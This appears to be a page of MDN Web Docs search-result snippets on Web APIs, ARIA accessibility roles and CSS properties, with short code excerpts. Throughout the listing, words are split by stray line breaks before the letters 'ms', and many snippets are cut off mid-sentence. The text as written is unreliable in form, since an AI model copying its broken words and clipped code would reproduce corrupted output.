var alarm = { remind: function(amessage) { alert(amessage); this.timeoutid = undefined; }, setup: function() { if (typeof this.timeoutid === 'number') { this.cancel(); } this.timeoutid = window.settimeout(function(
msg) { this.remind(
msg); }.bind(this), 1000, 'wake up!'); }, cancel: function() { window.cleartimeout(this.timeoutid); } }; window.onclick = function() { alarm.setup(); }; notes passing an invalid id to cleartimeout() silently does nothing; no exception is thrown.
Worker - Web APIs
workers may the
mselves spawn new workers, as long as those workers are hosted at the same origin as the parent page.
WorkerGlobalScope.importScripts() - Web APIs
syntax self.importscripts('foo.js'); self.importscripts('foo.js', 'bar.js', ...); parameters a comma-separated list of do
mstring objects representing the scripts to be imported.
WritableStream.locked - Web APIs
const writer = writablestream.getwriter(); writablestream.locked // should return true, as the stream has been locked to a writer specifications specification status comment strea
msthe definition of 'locked' in that specification.
WritableStreamDefaultWriter.closed - Web APIs
// check if the stream is closed writer.closed.then(() => { console.log('writer closed'); }) specifications specification status comment strea
msthe definition of 'closed' in that specification.
XMLDocument - Web APIs
it inherits from the generic document and does not add any specific methods or properties to it: nevertheless, several algorith
ms behave differently with the two types of documents.
HTML in XMLHttpRequest - Web APIs
also, this limitation avoids proble
ms with legacy code that assumes that responsexml is null for http error pages (which often have a text/html response body).
XMLHttpRequest() - Web APIs
const request = new xmlhttprequest(para
msdictionary); parameters (non-standard) objparameters there are two flags you can set: mozanon boolean: setting this flag to true will cause the browser not to expose the origin and user credentials when fetching resources.
XMLHttpRequest.responseText - Web APIs
syntax var resulttext = xmlhttprequest.responsetext; value a do
mstring which contains either the textual data received using the xmlhttprequest or null if the request failed or "" if the request has not yet been sent by calling send().
XMLHttpRequest.send() - Web APIs
an xmlhttprequestbodyinit, which per the fetch spec can be a blob, buffersource, formdata, urlsearchpara
ms, or usvstring object.
XPathEvaluator.evaluate() - Web APIs
syntax xpathresult xpathevaluator.evaluate(expression, contextnode, resolver, type, result); parameters expression a do
mstring representing the xpath expression to be parsed and evaluated.
XRInputSource.handedness - Web APIs
syntax let hand = xrinputsource.handedness; value a do
mstring indicating whether the input controller is held in one of the user's hands, and if it is, which hand.
XRInputSource.profiles - Web APIs
syntax let profilelist = xrinputsource.profiles; value an array of do
mstring objects, each describing one configuration profile for the input device represented by the xrinputsource object.
XRInputSource.targetRayMode - Web APIs
syntax let raymode = xrinputsource.targetraymode; value a do
mstring taken from the xrtargetraymode enumerated type, indicating which method to use when generating and presenting the target ray to the user.
XRInputSourceArray.length - Web APIs
the read-only length property returns an integer value indicating the number of ite
ms in the input source list represented by the xrinputsourcearray object.
XRInputSourceArray - Web APIs
in addition to these methods, you may use array notation to access ite
ms in the list by index for example, the snippet of code below calls a function handleinput(), passing into it the first item in the input source list, if the list isn't empty.
XRInputSourceEvent() - Web APIs
syntax newinputsourceevent = new xrinputsourceevent(type, eventinitdict); parameters type a do
mstring indicating which of the input source events the new object will represent.
XRInputSourcesChangeEvent() - Web APIs
syntax newinputsourceschangeevent = new xrinputsourceschangeevent(type, eventinitdict); parameters type a do
mstring indicating the type of event which has occurred.
XRPermissionDescriptor.mode - Web APIs
syntax xrpermissiondescriptor = { mode: xrsessionmode, requiredfeatures: reqfeaturelist, optionalfeatures: optfeaturelist }; xrpermissiondescriptor.mode = xrsessionmode; xrmode = xrpermissiondescriptor.mode; value a do
mstring whose value is one of the strings found in the xrsessionmode enumerated type: immersive-ar the session's output will be given exclusive access to the immersive device, but the rendered content will be blended with the real-world environment.
XRPermissionStatus.granted - Web APIs
syntax grantedfeatures = xrpermissionstatus.granted; value an array of do
mstring objects, each identifying a single webxr feature which the app or site has been granted permission to use.
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
then, when drawing the scene, you can use the offset reference space to not only position objects relative to one another, but to apply the needed transfor
ms to render objects properly based upon the viewer's position.
XRReferenceSpace: reset event - Web APIs
the user is in an unbounded reference space and has moved far enough from the starting position (the reference space's origin) that floating-point or other for
ms of error or drift are problematic.
XRReferenceSpaceEvent() - Web APIs
syntax let refspaceevent = new xrreferencespaceevent(type, eventinitdict); parameters type a do
mstring indicating the event type which has occurred.
XRReferenceSpaceEvent - Web APIs
this is an opportunity for your app to update any stored transfor
ms, position/orientation information, or the like—or to dump any cached values based on the reference's space's origin so you can recompute them as needed.
XRRigidTransform() - Web APIs
among other things, xrrigidtransform is used when providing a transform to translate between coordinate syste
ms across spaces.
XRRigidTransform - Web APIs
xrrigidtransform is used to specify transfor
ms throughout the webxr apis, including: the offset and orientation relative to the parent reference space to use when creating a new reference space with getoffsetreferencespace().
XRSession.requestReferenceSpace() - Web APIs
syntax refspacepromise = xrsession.requestreferencespace(referencespacetype); parameters type a do
mstring specifying the type of reference space for which an instance is to be returned.
XRSession.visibilityState - Web APIs
syntax visibilitystate = xrsession.visibilitystate; value a do
mstring containing one of the values defined in the enumerated type xrvisibilitystate; this string indicates whether or not the xr content is visible to the user and if it is, whether or not it's currently the primary focus.
XRSessionEvent() - Web APIs
syntax newxrsessionevent = new xrsessionevent(type, eventinitdict); parameters type a do
mstring indicating which of the events represented by objects of type xrsessionevent this particular object represents.
XRSystem: isSessionSupported() - Web APIs
syntax var issupportedpromise = xr.issessionsupported(xrsessionmode) parameters xrsessionmode a do
mstring specifying the webxr session mode for which support is to be checked.
XRSystem: requestSession() - Web APIs
syntax var sessionpromise = xr.requestsession(sessionmode, sessioninit) parameters sessionmode a do
mstring whose value is one of those included in the xrsessionmode enum.
XRView.eye - Web APIs
syntax let eye = xrview.eye; value a do
mstring whose value is one of the strings enumerated by the xreye type: left the xrview represents the point-of-view of the viewer's left eye.
XRView.transform - Web APIs
the resulting model view matrix will apply all the transfor
ms needed to move and rotate the object based on the relative positions of the object and the camera.
Browser Differences - Web APIs
browser differences netscape 7.x (all platfor
ms) and internet explorer 6 (windows) support the w3c xslt 1.0 standard (http://www.w3.org/tr/xslt).
ARIA guides - Accessibility
error handling in for
ms labeling widgets labeling composite widgets and regions managing focus in composite widgets (aria-activedescendant vs roving tabindex) using landmark roles handling dynamic updates & live regions virtual vs.
Using the alert role - Accessibility
let myalert = document.createelement("p"); myalert.setattribute("role", "alert"); let myalerttext = document.createtextnode("you must agree with our ter
ms of service to create an account."); myalert.appendchild(myalerttext); document.body.appendchild(myalert); note: the same result can be achieved with less code when using a script library like jquery: $("<p role='alert'>you must agree with our ter
ms of service to create an account.</p>").appendto(document.body); example 3: adding alert role to an existing element sometimes it's useful to add...
Using the aria-labelledby attribute - Accessibility
labelledby attribute: <p>the doctor explained it had been a <dfn id="placebo">placebo</dfn>, or <span role="definition" aria-labelledby="placebo"> an inert preparation prescribed more for the mental relief of the patient than for its actual effect on a disorder.</span> </p> example 6: definition lists in the example below, the definitions in a formal definition list are associated with the ter
ms they define using the aria-labelledby attribute: <dl> <dt id="anathema">anathema</dt> <dd role="definition" aria-labelledby="anathema">a ban or curse solemnly pronounced by ecclesiastical authority and accompanied by excommunication</dd> <dd role="definition" aria-labelledby="anathema">a vigorous denunciation : cursor</dd> <dt...
Using the aria-orientation attribute - Accessibility
<a href="#" id="handle_zoo
mslider" role="slider" aria-orientation="vertical" aria-valuemin="0" aria-valuemax="17" aria-valuenow="14" > <span>11</span> </a> working examples: slider example notes used with aria roles scrollbar listbox combobox menu tree separator slider tablist toolbar related aria techniques compatibility tbd: add support information for co...
Using the aria-required attribute - Accessibility
includes the use of the aria-required attribute) notes used in aria roles combobox gridcell listbox radiogroup spinbutton textbox tree related aria techniques using the aria-invalid attribute compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for aria-required wai-aria authoring practices for for
ms constraint validation in html5 ...
Using the group role - Accessibility
a group should be used to form a logical collection of ite
ms with related functionality, such as children in a tree widget forming a collection of siblings in a hierarchy, or a collection of ite
ms having the same container in a directory.
Using the link role - Accessibility
you should however note that there are still proble
ms with this approach: it is very difficult to detect whether the target of the fake link has been visited before, and therefore use :visited styles (e.g.
Using ARIA: Roles, states, and properties - Accessibility
a-atomic aria-busy drag & drop attributes aria-dropeffect aria-dragged relationship attributes aria-activedescendant aria-colcount aria-colindex aria-colspan aria-controls aria-describedby aria-details aria-errormessage aria-flowto aria-labelledby aria-owns aria-posinset aria-rowcount aria-rowindex aria-rowspan aria-setsize microsoftedge-specific properties x-
ms-aria-flowfrom ...
How to file ARIA-related bugs - Accessibility
gw micro window eyes window-eyes comments, questions, and feedback (email) non visual desktop access (nvda) file nvda bugs discuss nvda issues browsers apple safari file webkit.org bugs google chrome file chromium bugs microsoft internet explorer file ie bugs microsoft edge file
ms edge bugs view existing
ms edge aria bugs mozilla firefox file firefox bugs use component: disability access apis opera file opera bugs use [aria] in the summary field js libraries dojo toolkit file dojo bug put accessibility in the component field yahoo user interface file yui bugs file against specific componen...
ARIA: figure role - Accessibility
<div role="figure" aria-labelledby="caption"> <img src="image.png" alt="full alternative image description"> <p id="caption">figure 1: the caption</p> </div> in the above example, we have a figure that consists of two separate content ite
ms — an image and a caption.
ARIA: img role - Accessibility
this see
ms to work ok across some browser/screenreader combinations, but some of them end up reading the label out twice.
ARIA: search role - Accessibility
the search role is added to the container element that encompasses the ite
ms and objects that, as a whole, combine to create search functionality.
ARIA: switch role - Accessibility
checked="false"] :first-child, [role="switch"][aria-checked="true"] :last-child { background: #262; color: #eef; } [role="switch"][aria-checked="false"] :last-child, [role="switch"][aria-checked="true"] :first-child { color: #bbd; } label.switch { font: 16px "open sans", "arial", sans-serif; line-height: 20px; user-select: none; vertical-align: middle; -moz-user-select: none; -
ms-user-select: none; -webkit-user-select: none; -o-user-select: none; } the most interesting part is probably the use of attribute selectors and the :first-child and :last-child pseudo-classes to do all the heavy lifting of changing the appearance of the switch based on whether it's on or off.
ARIA: dialog role - Accessibility
in addition to the needed control, dialogs can contain any number of focusable elements, even entire for
ms or other container widgets like tabs.
Community - Accessibility
this document provides links to mailing lists, newsgroups, foru
ms, and other communities related to accessbility.
Robust - Accessibility
this article provides practical advice on how to write your web content so that it confor
ms to the success criteria outlined in the robust principle of the web content accessibility guidelines (wcag) 2.0 and 2.1.
::marker - CSS: Cascading Style Sheets
syntax ::marker examples html <ul> <li>peaches</li> <li>apples</li> <li>plu
ms</li> </ul> css ul li::marker { color: red; font-size: 1.5em; } result specifications specification status comment css pseudo-elements level 4the definition of '::marker' in that specification.
:active - CSS: Cascading Style Sheets
note: on syste
ms with multi-button mice, css3 specifies that the :active pseudo-class must only apply to the primary button; on right-handed mice, this is typically the leftmost button.
:focus-visible - CSS: Cascading Style Sheets
tips for designing useful and usable focus indicators cognition it may not be obvious as to why the focus indicator is appearing and disappearing if a person is using mixed for
ms of input.
:nth-last-of-type() - CSS: Cascading Style Sheets
/* selects every fourth <p> element among any group of siblings, counting backwards from the last one */ p:nth-last-of-type(4n) { color: lime; } note: this pseudo-class is essentially the same as :nth-of-type, except it counts ite
ms backwards from the end, not forwards from the beginning.
fallback - CSS: Cascading Style Sheets
when the fixed system is used and there are not enough symbols to cover all the list ite
ms, the fallback style will be used for the rest of the list ite
ms.
src - CSS: Cascading Style Sheets
h/to/font.woff) format("woff"); /* explicit format */ src: url('path/to/font.woff'); /* quoted url */ src: url(path/to/svgfont.svg#example); /* fragment identifying font */ /* <font-face-name> values */ src: local(font); /* unquoted name */ src: local(some font); /* name containing space */ src: local("font"); /* quoted name */ /* multiple ite
ms */ src: local(font), url(path/to/font.svg) format("svg"), url(path/to/font.woff) format("woff"), url(path/to/font.otf) format("opentype"); values <url> [ format( <string># ) ]?
forced-colors - CSS: Cascading Style Sheets
user preferences currently no user agent implements this feature, although various operating syste
ms do support such preferences and if this media query is ever implemented user agents will likely rely on the settings provided by the operating system in use.
hover - CSS: Cascading Style Sheets
none the primary input mechanism cannot hover at all or cannot conveniently hover (e.g., many mobile devices emulate hovering when the user perfor
ms an inconvenient long tap), or there is no primary pointing input mechanism.
overflow-block - CSS: Cascading Style Sheets
sed nec augue congue eros accu
msan tincidunt sed eget ex.</p> css @media (overflow-block: scroll) { p { color: red; } } result specifications specification status comment media queries level 4the definition of 'overflow-block' in that specification.
overflow-inline - CSS: Cascading Style Sheets
sed nec augue congue eros accu
msan tincidunt sed eget ex.</p> css p { white-space: nowrap; } @media (overflow-inline: scroll) { p { color: red; } } result specifications specification status comment media queries level 4the definition of 'overflow-inline' in that specification.
prefers-reduced-data - CSS: Cascading Style Sheets
user preferences currently no user agent implements this feature, although various operating syste
ms do support such preferences and if this media query is ever implemented user agents will likely rely on the settings provided by the operating system.
prefers-reduced-transparency - CSS: Cascading Style Sheets
user preferences currently no user agent implements this feature, although various operating syste
ms do support such preferences and if this media query is ever implemented user agents will likely rely on the settings provided by the operating syste
ms.
@media - CSS: Cascading Style Sheets
width width of the viewport including width of scrollbar accessibility concerns to best accommodate people who adjust a site's text size, use e
ms when you need a <length> for your media queries.
CSSOM View - CSS: Cascading Style Sheets
reference properties scroll-behavior guides coordinate syste
ms a guide to the coordinate syste
ms used to specify the position of a location in a display context, whether that context is a window on a monitor, a viewport on a mobile device, or a position on a sheet of paper when printing.
Detecting CSS animation support - CSS: Cascading Style Sheets
testing for css animation support this code will check to see if css animation support is available: var animation = false, animationstring = 'animation', keyframeprefix = '', domprefixes = 'webkit moz o
ms khtml'.split(' '), pfx = '', elem = document.createelement('div'); if( elem.style.animationname !== undefined ) { animation = true; } if( animation === false ) { for( var i = 0; i < domprefixes.length; i++ ) { if( elem.style[ domprefixes[i] + 'animationname' ] !== undefined ) { pfx = domprefixes[ i ]; animationstring = pfx + 'animation'; keyframeprefix = '-' + p...
CSS Display - CSS: Cascading Style Sheets
s data types <display-outside> <display-inside> <display-listitem> <display-box> <display-internal> <display-legacy> guides css flow layout (display: block, display: inline) block and inline layout in normal flow flow layout and overflow flow layout and writing modes formatting contexts explained in flow and out of flow display: flex basic concepts of flexbox aligning ite
ms in a flex container controlling ratios of flex ite
ms along the main axis cross-browser flexbox mixins mastering wrapping of flex ite
ms ordering flex ite
ms relationship of flexbox to other layout methods backwards compatibility of flexbox typical use cases of flexbox display: grid basic concepts of grid layout relationship to other layout methods line-based placement grid template a...
CSS Motion Path - CSS: Cascading Style Sheets
basic example <div id="motion-demo"></div> #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000
ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } reference properties offset offset-anchor offset-distance offset-path offset-position offset-rotate specifications specification status comment motion path module level 1 ...
Sticky footers - CSS: Cascading Style Sheets
grid auto-placement will place our ite
ms in source order and so the header goes into the first auto sized track, the main content into the 1fr track and the footer into the final auto sized track.
Privacy and the :visited selector - CSS: Cascading Style Sheets
little white lies to preserve users' privacy, firefox and other browsers will lie to web applications under certain circu
mstances: the window.getcomputedstyle method, and similar functions such as element.queryselector, will always return values indicating that a user has never visited any of the links on a page.
Shorthand properties - CSS: Cascading Style Sheets
shorthand properties: animation, background, border, border-bottom, border-color, border-left, border-radius, border-right, border-style, border-top, border-width, column-rule, columns, flex, flex-flow, font, grid, grid-area, grid-column, grid-row, grid-template, list-style, margin, offset, outline, overflow, padding, place-content, place-ite
ms, place-self, text-decoration, transition ...
Actual value - CSS: Cascading Style Sheets
calculating a property's actual value the user agent perfor
ms four steps to calculate a property's actual (final) value: first, the specified value is determined based on the result of cascading, inheritance, or using the initial value.
animation-timing-function - CSS: Cascading Style Sheets
whether the animation holds temporarily at 0%, 20%, 40%, 60% and 80%, on the 20%, 40%, 60%, 80% and 100%, or makes 5 stops between the 0% and 100% along the animation, or makes 5 stops including the 0% and 100% marks (on the 0%, 25%, 50%, 75%, and 100%) depends on which of the following jump ter
ms is used: jump-start denotes a left-continuous function, so that the first jump happens when the animation begins; jump-end denotes a right-continuous function, so that the last jump happens when the animation ends; jump-none there is no jump on either end.
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
ppearance: caret; } <div>lorem</div> firefox chrome safari edge checkbox-container div { color: black; -moz-appearance: checkbox-container; -webkit-appearance: checkbox-container; } <div>lorem</div> firefox the element is drawn like a container for a checkbox, which may include a prelighting background effect under certain platfor
ms.
backdrop-filter - CSS: Cascading Style Sheets
lur(10px); backdrop-filter: blur(10px); max-width: 50%; max-height: 50%; padding: 20px 40px; } html, body { height: 100%; width: 100%; } body { background-image: url(https://picsum.photos/id/1080/6858/4574), linear-gradient(rgb(219, 166, 166), rgb(0, 0, 172)); background-position: center center; background-repeat: no-repeat; background-size: cover; } .container { align-ite
ms: center; display: flex; justify-content: center; height: 100%; width: 100%; } html <div class="container"> <div class="box"> <p>backdrop-filter: blur(10px)</p> </div> </div> result specifications specification status comment filter effects module level 2the definition of 'backdrop-filter' in that specification.
<blend-mode> - CSS: Cascading Style Sheets
<div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: luminosity; } description for each pixel among the layers to which it is applied, a blend mode takes the colors of the foreground and the background, perfo
ms a calculation on them, and returns a new color value.
cross-fade() - CSS: Cascading Style Sheets
specification syntax the cross-fade() function takes a list of images with a percentage defining how much of each image is retained in ter
ms of opacity when it is blended with the other images.
<dimension> - CSS: Cascading Style Sheets
examples valid dimensions 12px 12 pixels 1rem 1 rem 1.2pt 1.2 points 2200
ms 2200 milliseconds 5s 5 seconds 200hz 200 hertz 200hz 200 hertz (values are case insensitive) invalid dimensions 12 px the unit must come immediately after the number.
<easing-function> - CSS: Cascading Style Sheets
eight: 100px; } div > div { position: absolute; width: 50px; height: 50px; background-color: blue; background-image: radial-gradient(circle at 10px 10px, rgba(25,255,255,0.8),rgba(25,255,255,0.4)); border-radius: 50%; top: 25px; animation: 1.5s infinite alternate; } @keyframes move-right { from { left: 10%; } to { left: 90%; } } li { display: flex; align-ite
ms: center; justify-content: center; margin-bottom: 20px; } javascript const selectelem = document.queryselector('select'); const startbtn = document.queryselector('button'); const divelem = document.queryselector('div > div'); startbtn.addeventlistener('click', () => { if(startbtn.textcontent === 'start animation') { divelem.style.animationname = 'move-right'; startbtn.textcontent ...
drop-shadow() - CSS: Cascading Style Sheets
the box-shadow property creates a rectangular shadow behind an element's entire box, while the drop-shadow() filter function creates a shadow that confor
ms to the shape (alpha channel) of the image itself.
<filter-function> - CSS: Cascading Style Sheets
on> <option>sepia</option> </select> </li> <li> <input type="range"><output></output> </li> <li> <p>current value: <code></code></p> </li> </ul> css div { width: 300px; height: 300px; background: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center; } li { display: flex; align-ite
ms: center; justify-content: center; margin-bottom: 20px; } input { width: 60% } output { width: 5%; text-align: center; } select { width: 40%; margin-left: 2px; } javascript const selectelem = document.queryselector('select'); const divelem = document.queryselector('div'); const slider = document.queryselector('input'); const output = document.queryselector('output'); const curva...
flex-basis - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toflex ite
ms, including in-flow pseudo-elementsinheritednopercentagesrefer to the flex container's inner main sizecomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea length, percentage or calc(); formal syntax content | <'width'> examples setting flex item initial sizes html <ul class="container"> <li class="flex flex1">1: flex-basis test</li> <li cla...
flex-flow - CSS: Cascading Style Sheets
flex ite
ms are laid out in multiple lines */ flex-flow: column-reverse wrap; } specifications specification status comment css flexible box layout modulethe definition of 'flex-flow' in that specification.
font-optical-sizing - CSS: Cascading Style Sheets
you should see a difference in supporting browsers.</p> @font-face { src: url('a
mstelvaralpha-vf.ttf'); font-family:'a
mstelvar'; font-style: normal; } p { font-size: 36px; font-family: a
mstelvar; } .no-optical-sizing { font-optical-sizing: none; } note: the font referenced above — which includes optical sizing and is freely-licensed — is good for testing.
font-stretch - CSS: Cascading Style Sheets
html <div class="container"> <p class="condensed">an elephantine lizard</p> <p class="normal">an elephantine lizard</p> <p class="expanded">an elephantine lizard</p> </div> css /* this example uses the league mono variable font, developed by tyler finck (https://www.tylerfinck.com/) and used here under the ter
ms of the sil open font license, version 1.1: http://scripts.sil.org/c
ms/scripts/page.php?item_id=ofl_web */ @font-face { src: url('https://mdn.mozillademos.org/files/16014/leaguemonovariable.ttf'); font-family:'leaguemonovariable'; font-style: normal; font-stretch: 1% 500%; /* required by chrome */ } .container { border: 10px solid #f5f9fa; padding: 0 1rem; font: 1.5rem 'leaguemonov...
font-variation-settings - CSS: Cascading Style Sheets
syntax /* use the default settings */ font-variation-settings: normal; /* set values for variable font axis names */ font-variation-settings: "xhgt" 0.7; /* global values */ font-variation-settings: inherit; font-variation-settings: initial; font-variation-settings: unset; values this property's value can take one of two for
ms: normal text is laid out using default settings.
font-weight - CSS: Cascading Style Sheets
"weight" name="weight" min="1" max="1000" /> <label for="weight">weight</label> </header> <div class="container"> <p class="sample">...it would not be wonderful to meet a megalosaurus, forty feet long or so, waddling like an elephantine lizard up holborn hill.</p> </div> css /* mutator sans is created by letterror (https://github.com/letterror/mutatorsans) and is used here under the ter
ms of its license: https://github.com/letterror/mutatorsans/blob/master/license */ @font-face { src: url('https://mdn.mozillademos.org/files/16011/mutatorsans.ttf'); font-family:'mutatorsans'; font-style: normal; } label { font: 1rem monospace; white-space: nowrap; } .container { max-height: 150px; overflow-y: auto; } .sample { text-transform: uppercase; font: 1.5rem 'mutatorsa...
font - CSS: Cascading Style Sheets
injectcss; getproperties = function () { shorttext = getcheckedvalue("font_style") + " " + getcheckedvalue("font_variant") + " " + getcheckedvalue("font_weight") + " " + getcheckedvalue("font_size") + getcheckedvalue("line_height") + " " + getcheckedvalue("font_family"); return shorttext; } getcheckedvalue = function(radio_name) { oradio = document.for
ms[0].elements[radio_name]; for (var i = 0; i < oradio.length; i++) { if(oradio[i].checked) { var propinput = "input_" + radio_name, curelemname = "input_" + radio_name, curelem = document.getelementbyid(curelemname); curelem.value = oradio[i].value; return oradio[i].value; } } } setcss = function () { getproperties(); injectcss(shorttext); } ...
grid-area - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:grid-row-start: autogrid-column-start: autogrid-row-end: autogrid-column-end: autoapplies togrid ite
ms and absolutely-positioned boxes whose containing block is a grid containerinheritednocomputed valueas each of the properties of the shorthand:grid-row-start: as specifiedgrid-column-start: as specifiedgrid-row-end: as specifiedgrid-column-end: as specifiedanimation typediscrete formal syntax <grid-line> [ / <grid-line> ]{0,3}where <grid-line> = auto | <custom-ident> | [ <integer> && <custom-ide...
grid-column-end - CSS: Cascading Style Sheets
formal definition initial valueautoapplies togrid ite
ms and absolutely-positioned boxes whose containing block is a grid containerinheritednocomputed valueas specifiedanimation typediscrete formal syntax <grid-line>where <grid-line> = auto | <custom-ident> | [ <integer> && <custom-ident>?
grid-column-start - CSS: Cascading Style Sheets
formal definition initial valueautoapplies togrid ite
ms and absolutely-positioned boxes whose containing block is a grid containerinheritednocomputed valueas specifiedanimation typediscrete formal syntax <grid-line>where <grid-line> = auto | <custom-ident> | [ <integer> && <custom-ident>?
grid-row-end - CSS: Cascading Style Sheets
formal definition initial valueautoapplies togrid ite
ms and absolutely-positioned boxes whose containing block is a grid containerinheritednocomputed valueas specifiedanimation typediscrete formal syntax <grid-line>where <grid-line> = auto | <custom-ident> | [ <integer> && <custom-ident>?
grid-row-start - CSS: Cascading Style Sheets
formal definition initial valueautoapplies togrid ite
ms and absolutely-positioned boxes whose containing block is a grid containerinheritednocomputed valueas specifiedanimation typediscrete formal syntax <grid-line>where <grid-line> = auto | <custom-ident> | [ <integer> && <custom-ident>?
hyphens - CSS: Cascading Style Sheets
<code>manual</code>: hyphen only at &hyphen; or &shy; (if needed)</dt> <dd lang="en" class="manual">an extreme­ly long english word</dd> <dt><code>auto</code>: hyphens where the algorithm decides (if needed)</dt> <dd lang="en" class="auto">an extreme­ly long english word</dd> </dl> css dd { width: 55px; border: 1px solid black; } dd.none { -webkit-hyphens: none; -
ms-hyphens: none; hyphens: none; } dd.manual { -webkit-hyphens: manual; -
ms-hyphens: manual; hyphens: manual; } dd.auto { -webkit-hyphens: auto; -
ms-hyphens: auto; hyphens: auto; } result specifications specification status comment css text module level 3the definition of 'hyphens' in that specification.
max() - CSS: Cascading Style Sheets
let's look at some css: h1 { font-size: 2rem; } h1.responsive { font-size: max(4vw, 2em, 2rem); } the font-size will at minimum be 2re
ms, or twice the default size of font for the page.
offset-anchor - CSS: Cascading Style Sheets
html <section> <div class="offset-anchor1"></div> </section> <section> <div class="offset-anchor2"></div> </section> <section> <div class="offset-anchor3"></div> </section> css div { offset-path: path('m 0,20 l 200,20'); animation: move 3000
ms infinite alternate ease-in-out; width: 40px; height: 40px; } section { background-image: linear-gradient(to bottom, transparent, transparent 49%, #000 50%, #000 51%, transparent 52%); border: 1px solid #ccc; margin-bottom: 10px; } .offset-anchor1 { offset-anchor: auto; background: cyan; } .offset-anchor2 { offset-anchor: right top; background: purple; } .offset-anchor3 { o...
offset-distance - CSS: Cascading Style Sheets
html <div id="motion-demo"></div> css #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000
ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1the definition of 'offset-distance' in that specification.
offset-position - CSS: Cascading Style Sheets
| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples setting initial offset position <div id="motion-demo"></div> #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); offset-position: left top; animation: move 3000
ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } specifications specification status comment motion path module level 1the definition of 'offset-position' in that specification.
offset-rotate - CSS: Cascading Style Sheets
ed valueas specifiedanimation typeas <angle>, <basic-shape> or <path()> formal syntax [ auto | reverse ] | <angle> examples setting element orientation along its offset path html <div></div> <div></div> <div></div> css div { width: 40px; height: 40px; background: #2bc4a2; margin: 20px; clip-path: polygon(0% 0%, 70% 0%, 100% 50%, 70% 100%, 0% 100%, 30% 50%); animation: move 5000
ms infinite alternate ease-in-out; offset-path: path('m20,20 c20,50 180,-10 180,20'); } div:nth-child(1) { offset-rotate: auto; } div:nth-child(2) { offset-rotate: auto 90deg; } div:nth-child(3) { offset-rotate: 30deg; } @keyframes move { 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1t...
overflow-anchor - CSS: Cascading Style Sheets
therefore, changing the value of this property is typically only required if you are experiencing proble
ms with scroll anchoring in a document or part of a document and need to turn the behavior off.
perspective-origin - CSS: Cascading Style Sheets
50px); } .bottom { background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the layout a little nicer */ section { background-color: #eee; padding: 10px; font-family: sans-serif; text-align: left; display: grid; grid-template-columns: repeat(3, 1fr); } result specifications specification status comment css transfor
ms level 2the definition of 'perspective-origin' in that specification.
perspective - CSS: Cascading Style Sheets
196, 0, 0.7); transform: rotatex(90deg) translatez(50px); } .bottom { background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the table a little nicer */ th, p, td { background-color: #eeeeee; padding: 10px; font-family: sans-serif; text-align: left; } result specifications specification status comment css transfor
ms level 2the definition of 'perspective' in that specification.
scroll-behavior - CSS: Cascading Style Sheets
ntainer> css a { display: inline-block; width: 50px; text-decoration: none; } nav, scroll-container { display: block; margin: 0 auto; text-align: center; } nav { width: 339px; padding: 5px; border: 1px solid black; } scroll-container { display: block; width: 350px; height: 200px; overflow-y: scroll; scroll-behavior: smooth; } scroll-page { display: flex; align-ite
ms: center; justify-content: center; height: 100%; font-size: 5em; } result specifications specification status comment css object model (cssom) view modulethe definition of 'scroll-behavior' in that specification.
scroll-snap-stop - CSS: Cascading Style Sheets
css /* setup */ :root, body { height: 100%; display: flex; align-ite
ms: center; justify-content: space-between; flex-flow: column nowrap; font-family: monospace; } .container { display: flex; overflow: auto; outline: 1px dashed lightgray; flex: none; } .container.x { width: 100%; height: 128px; flex-flow: row nowrap; } .container.y { width: 256px; height: 256px; flex-flow: column nowrap; } /* definite scroll snap */ .mandatory-scroll-snap...
scroll-snap-type - CSS: Cascading Style Sheets
rtl</div> <div>2</div> <div>3</div> <div>4</div> <div>5</div> </div> </div> css /* setup */ html, body, .holster { height: 100%; } .holster { display: flex; align-ite
ms: center; justify-content: space-between; flex-flow: column nowrap; font-family: monospace; } .container { display: flex; overflow: auto; outline: 1px dashed lightgray; flex: none; } .container.x { width: 100%; height: 128px; flex-flow: row nowrap; } .container.y { width: 256px; height: 256px; flex-flow: column nowrap; } /* scroll-snap */ .x.mandatory-scroll-snapping {...
text-align-last - CSS: Cascading Style Sheets
nullam est eros, suscipit sed dictum quis, accu
msan a ligula.</p> css p { font-size: 1.4em; text-align: justify; text-align-last: center; } results specifications specification status comment css text module level 3the definition of 'text-align-last' in that specification.
matrix() - CSS: Cascading Style Sheets
: matrix( scalex(), skewy(), skewx(), scaley(), translatex(), translatey() ) examples html <div>normal</div> <div class="changed">changed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .changed { transform: matrix(1, 2, -1, 1, 80, 80); background-color: pink; } result specifications specification status comment css transfor
ms level 1the definition of 'matrix()' in that specification.
perspective() - CSS: Cascading Style Sheets
4cm) rotatex(-15deg) rotatey(30deg); } .top { background-color: skyblue; transform: rotatex(90deg) translate3d(0, 0, 50px); } .left { background-color: pink; transform: rotatey(-90deg) translate3d(0, 0, 50px); } .front { background-color: limegreen; transform: translate3d(0, 0, 50px); } result specifications specification status comment css transfor
ms level 2the definition of 'perspective()' in that specification.
rotate() - CSS: Cascading Style Sheets
